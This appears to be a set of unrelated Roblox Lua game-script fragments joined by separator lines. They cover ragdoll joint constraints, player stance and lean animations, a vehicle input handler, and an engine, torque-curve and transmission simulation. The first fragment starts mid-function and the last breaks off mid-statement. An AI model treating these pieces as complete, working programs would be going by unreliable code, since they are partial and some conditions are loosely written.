LeftArmA.Position = Vector3.new(0.5, 1, 0)
LeftArmA.Rotation = Vector3.new(0, 0, 0)
LeftArmA.Axis = Vector3.new(1, 0, 0)
LeftArmA.SecondaryAxis = Vector3.new(0, 1, 0)
LeftLegA.Name = "LeftLegA"
LeftLegA.Parent = leftleg
LeftLegA.Position = Vector3.new(0, 1, 0)
LeftLegA.Rotation = Vector3.new(0, 0, 0)
LeftLegA.Axis = Vector3.new(1, 0, 0)
LeftLegA.SecondaryAxis = Vector3.new(0, 1, 0)
RightArmA.Name = "RightArmA"
RightArmA.Parent = rightarm
RightArmA.Position = Vector3.new(-0.5, 1, 0)
RightArmA.Rotation = Vector3.new(0, 0, 0)
RightArmA.Axis = Vector3.new(1, 0, 0)
RightArmA.SecondaryAxis = Vector3.new(0, 1, 0)
RightLegA.Name = "RightLegA"
RightLegA.Parent = rightleg
RightLegA.Position = Vector3.new(0, 1, 0)
RightLegA.Rotation = Vector3.new(0, 0, 0)
RightLegA.Axis = Vector3.new(1, 0, 0)
RightLegA.SecondaryAxis = Vector3.new(0, 1, 0)
rootA.Name= "rootA"
rootA.Parent = root
rootA.Position = Vector3.new(0, 0, 0)
rootA.Rotation = Vector3.new(0, 90, 0)
rootA.Axis = Vector3.new(0, 0, -1)
rootA.SecondaryAxis = Vector3.new(0, 1, 0)
end
local function set2()
TorsoA.Name = "TorsoA"
TorsoA.Parent = torso
TorsoA.Position = Vector3.new(0.5, -1, 0)
TorsoA.Rotation = Vector3.new(0, 0, 0)
TorsoA.Axis = Vector3.new(1, 0, 0)
TorsoA.SecondaryAxis = Vector3.new(0, 1, 0)
TorsoA1.Name = "TorsoA1"
TorsoA1.Parent = torso
TorsoA1.Position = Vector3.new(-0.5, -1, 0)
TorsoA1.Rotation = Vector3.new(0, 0, 0)
TorsoA1.Axis = Vector3.new(1, 0, 0)
TorsoA1.SecondaryAxis = Vector3.new(0, 1, 0)
TorsoA2.Name = "TorsoA2"
TorsoA2.Parent = torso
TorsoA2.Position = Vector3.new(-1, 1, 0)
TorsoA2.Rotation = Vector3.new(0, 0, 0)
TorsoA2.Axis = Vector3.new(1, 0, 0)
TorsoA2.SecondaryAxis = Vector3.new(0, 1, 0)
TorsoA3.Name = "TorsoA3"
TorsoA3.Parent = torso
TorsoA3.Position = Vector3.new(1, 1, 0)
TorsoA3.Rotation = Vector3.new(0, 0, 0)
TorsoA3.Axis = Vector3.new(1, 0, 0)
TorsoA3.SecondaryAxis = Vector3.new(0, 1, 0)
TorsoA4.Name = "TorsoA4"
TorsoA4.Parent = torso
TorsoA4.Position = Vector3.new(0, 1, 0)
TorsoA4.Rotation = Vector3.new(0, 0, 0)
TorsoA4.Axis = Vector3.new(1, 0, 0)
TorsoA4.SecondaryAxis = Vector3.new(0, 1, 0)
TorsoA5.Name = "TorsoA5"
TorsoA5.Parent = torso
TorsoA5.Position = Vector3.new(0, 0, 0)
TorsoA5.Rotation = Vector3.new(0, 90, 0)
TorsoA5.Axis = Vector3.new(0, 0, -1)
TorsoA5.SecondaryAxis = Vector3.new(0, 1, 0)
end
spawn(set1)
spawn(set2)
--[[
local HA = Instance.new("HingeConstraint")
HA.Parent = head
HA.Attachment0 = HeadA
HA.Attachment1 = TorsoA4
HA.Enabled = true
HA.LimitsEnabled=true
HA.LowerAngle=0
HA.UpperAngle=0
--]]
local LAT = Instance.new("BallSocketConstraint")
LAT.Parent = leftarm
LAT.Attachment0 = LeftArmA
LAT.Attachment1 = TorsoA2
LAT.Enabled = true
LAT.LimitsEnabled=true
LAT.UpperAngle=90
local RAT = Instance.new("BallSocketConstraint")
RAT.Parent = rightarm
RAT.Attachment0 = RightArmA
RAT.Attachment1 = TorsoA3
RAT.Enabled = true
RAT.LimitsEnabled=false
RAT.UpperAngle=90
local HA = Instance.new("BallSocketConstraint")
HA.Parent = head
HA.Attachment0 = HeadA
HA.Attachment1 = TorsoA4
HA.Enabled = true
HA.LimitsEnabled = true
HA.TwistLimitsEnabled = true
HA.UpperAngle = 74
local TLL = Instance.new("BallSocketConstraint")
TLL.Parent = torso
TLL.Attachment0 = TorsoA1
TLL.Attachment1 = LeftLegA
TLL.Enabled = true
TLL.LimitsEnabled=true
TLL.UpperAngle=90
local TRL = Instance.new("BallSocketConstraint")
TRL.Parent = torso
TRL.Attachment0 = TorsoA
TRL.Attachment1 = RightLegA
TRL.Enabled = true
TRL.LimitsEnabled=true
TRL.UpperAngle=90
local RTA = Instance.new("BallSocketConstraint")
RTA.Parent = root
RTA.Attachment0 = rootA
RTA.Attachment1 = TorsoA5
RTA.Enabled = true
RTA.LimitsEnabled=true
RTA.UpperAngle=0
head.Velocity = head.CFrame.p * CFrame.new(0, -1, -0.1).p
for _,child in next,char:GetChildren() do
if child:IsA("Accoutrement") then
for _,part in next,child:GetChildren() do
if part:IsA("BasePart") then
part.Parent = char
child:remove()
local attachment1 = part:FindFirstChildOfClass("Attachment")
local attachment0 = getAttachment0(attachment1.Name, char)
if attachment0 and attachment1 then
local constraint = Instance.new("HingeConstraint")
constraint.Attachment0 = attachment0
constraint.Attachment1 = attachment1
constraint.LimitsEnabled = true
constraint.UpperAngle = 0
constraint.LowerAngle = 0
constraint.Parent = char
end
end
end
end
end
end
return ragdollPlayer
|
--// Stances
|
function Prone()
UpdateAmmo()
L_112_:FireServer("Prone")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -3, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 4
if not L_24_.TacticalModeEnabled then
L_155_ = 4
L_154_ = 0.025
else
L_154_ = 0.01
L_155_ = 4
end
L_65_ = true
Proned2 = Vector3.new(0, 0.5, 0.5)
L_130_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_287_arg1)
return math.sin(math.rad(L_287_arg1))
end, 0.25)
L_130_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_288_arg1)
return math.sin(math.rad(L_288_arg1))
end, 0.25)
L_130_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_289_arg1)
return math.sin(math.rad(L_289_arg1))
end, 0.25)
end
function Stand()
UpdateAmmo()
L_112_:FireServer("Stand")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, 0, 0)
}):Play()
L_65_ = false
if not L_64_ then
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
if L_24_.TacticalModeEnabled then
L_154_ = 0.09
L_155_ = 11
else
L_154_ = .2
L_155_ = 17
end
elseif L_64_ then
if L_24_.TacticalModeEnabled then
L_154_ = 0.015
L_155_ = 7
L_3_:WaitForChild("Humanoid").WalkSpeed = 7
else
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
L_155_ = 10
L_154_ = 0.02
end
end
Proned2 = Vector3.new(0, 0, 0)
L_130_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_290_arg1)
return math.sin(math.rad(L_290_arg1))
end, 0.25)
L_130_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_291_arg1)
return math.sin(math.rad(L_291_arg1))
end, 0.25)
L_130_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_292_arg1)
return math.sin(math.rad(L_292_arg1))
end, 0.25)
end
function Crouch()
UpdateAmmo()
L_112_:FireServer("Crouch")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -1, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 9
if not L_24_.TacticalModeEnabled then
L_155_ = 9
L_154_ = 0.035
else
L_154_ = 0.015
L_155_ = 9
end
L_65_ = true
Proned2 = Vector3.new(0, 0, 0)
L_130_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_293_arg1)
return math.sin(math.rad(L_293_arg1))
end, 0.25)
L_130_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_294_arg1)
return math.sin(math.rad(L_294_arg1))
end, 0.25)
L_130_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_295_arg1)
return math.sin(math.rad(L_295_arg1))
end, 0.25)
L_130_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_296_arg1)
return math.sin(math.rad(L_296_arg1))
end, 0.25)
end
function LeanRight()
if L_93_ ~= 2 then
L_112_:FireServer("LeanRight")
L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_297_arg1)
return math.sin(math.rad(L_297_arg1))
end, 0.25)
L_130_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_298_arg1)
return math.sin(math.rad(L_298_arg1))
end, 0.25)
L_130_(L_11_, nil, nil, function(L_299_arg1)
return math.sin(math.rad(L_299_arg1))
end, 0.25)
L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_300_arg1)
return math.sin(math.rad(L_300_arg1))
end, 0.25)
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(1, -0.5, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(1, -1.5, 0)
}):Play()
end
end;
end
end
function LeanLeft()
if L_93_ ~= 2 then
L_112_:FireServer("LeanLeft")
L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_301_arg1)
return math.sin(math.rad(L_301_arg1))
end, 0.25)
L_130_(L_10_, nil, nil, function(L_302_arg1)
return math.sin(math.rad(L_302_arg1))
end, 0.25)
L_130_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_303_arg1)
return math.sin(math.rad(L_303_arg1))
end, 0.25)
L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_304_arg1)
return math.sin(math.rad(L_304_arg1))
end, 0.25)
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(-1, -0.5, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(-1, -1.5, 0)
}):Play()
end
end;
end
end
function Unlean()
if L_93_ ~= 2 then
L_112_:FireServer("Unlean")
L_130_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_305_arg1)
return math.sin(math.rad(L_305_arg1))
end, 0.25)
L_130_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_306_arg1)
return math.sin(math.rad(L_306_arg1))
end, 0.25)
L_130_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_307_arg1)
return math.sin(math.rad(L_307_arg1))
end, 0.25)
if L_6_:FindFirstChild('Clone') then
L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_308_arg1)
return math.sin(math.rad(L_308_arg1))
end, 0.25)
end
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, 0, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -1, 0)
}):Play()
end
end;
end
end
local L_165_ = false
L_107_.InputBegan:connect(function(L_309_arg1, L_310_arg2)
if not L_310_arg2 and L_15_ == true then
if L_15_ then
if L_309_arg1.KeyCode == Enum.KeyCode.C or L_309_arg1.KeyCode == Enum.KeyCode.ButtonB then
if L_93_ == 0 and not L_67_ and L_15_ then
L_93_ = 1
Crouch()
L_94_ = false
L_96_ = true
L_95_ = false
elseif L_93_ == 1 and not L_67_ and L_15_ then
L_93_ = 2
Prone()
L_96_ = false
L_94_ = true
L_95_ = false
L_165_ = true
end
end
if L_309_arg1.KeyCode == Enum.KeyCode.X or L_309_arg1.KeyCode == Enum.KeyCode.ButtonY then
if L_93_ == 2 and not L_67_ and L_15_ then
L_165_ = false
L_93_ = 1
Crouch()
L_94_ = false
L_96_ = true
L_95_ = false
elseif L_93_ == 1 and not L_67_ and L_15_ then
L_93_ = 0
Stand()
L_94_ = false
L_96_ = false
L_95_ = true
end
end
end
end
end)
|
--Input Handler
|
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<=1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then
if not _ShiftDn then _ShiftDn = true end
--Shift Up [Manual Transmission]
elseif (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then
if not _ShiftUp then _ShiftUp = true end
--Toggle Clutch
elseif (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClPressing = false
end
--Toggle PBrake
elseif input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if bike.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end
end
--Toggle Transmission
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
_InThrot = 1
_TTick = tick()
else
_InThrot = _Tune.IdleThrottle/100
_BTick = tick()
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_InBrake = 1
else
_InBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_InThrot = _Tune.IdleThrottle/100
_TTick = tick()
_InBrake = 0
_GSteerT = 0
end
--Toggle TCS
elseif _Tune.TCS and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end
--Toggle ABS
elseif _Tune.ABS and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif input.KeyCode == _CTRL["ContlrThrottle"] then
if _IsOn then
_InThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
if _InThrot > _Tune.IdleThrottle/100 then _TTick = tick() else _BTick = tick() end
else
_InThrot = _Tune.IdleThrottle/100
_BTick = tick()
end
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_InBrake = input.Position.Z
end
end
else
_InThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_InBrake = 0
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
-- These controllers handle only walk/run movement, jumping is handled by the
-- TouchJump controller if any of these are active
|
local ClickToMove = require(script:WaitForChild("ClickToMoveController"))
local TouchJump = require(script:WaitForChild("TouchJump"))
local VehicleController = require(script:WaitForChild("VehicleController"))
local CONTROL_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
if _Tune.Aspiration == "Single" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
if _Tune.CurveCache then
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*_Tune.CacheInc,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*_Tune.CacheInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*_Tune.CacheInc,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*_Tune.CacheInc,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
end
if _Tune.CurveCache then
for gear,ratio in pairs(_Tune.Ratios) do
for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do
end
end
end
--Powertrain
wait()
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.93)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
if _CGear==0 then
_Boost = _Boost + ((((((_RPM*(_GThrot*_GThrotShift*1.2)/_Tune.Redline)/8.5)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
else
_Boost = _Boost + ((((((_HP*(_GThrot*_GThrotShift*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
end
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
end
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Apply Power
function Engine()
if _ClutchOn then
if _Tune.CurveCache then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)
else
_NH,_NT = GetCurve(_RPM,_CGear)
end
if _Tune.Aspiration ~= "Natural" then
if _Tune.CurveCache then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)
else
_BH,_BT = GetPsiCurve(_RPM,_CGear)
end
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_NH,_BH,_OutTorque,_NT,_BT = 0,0,0,0,0,0
end
local TPsi = _TPsi/_TCount
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
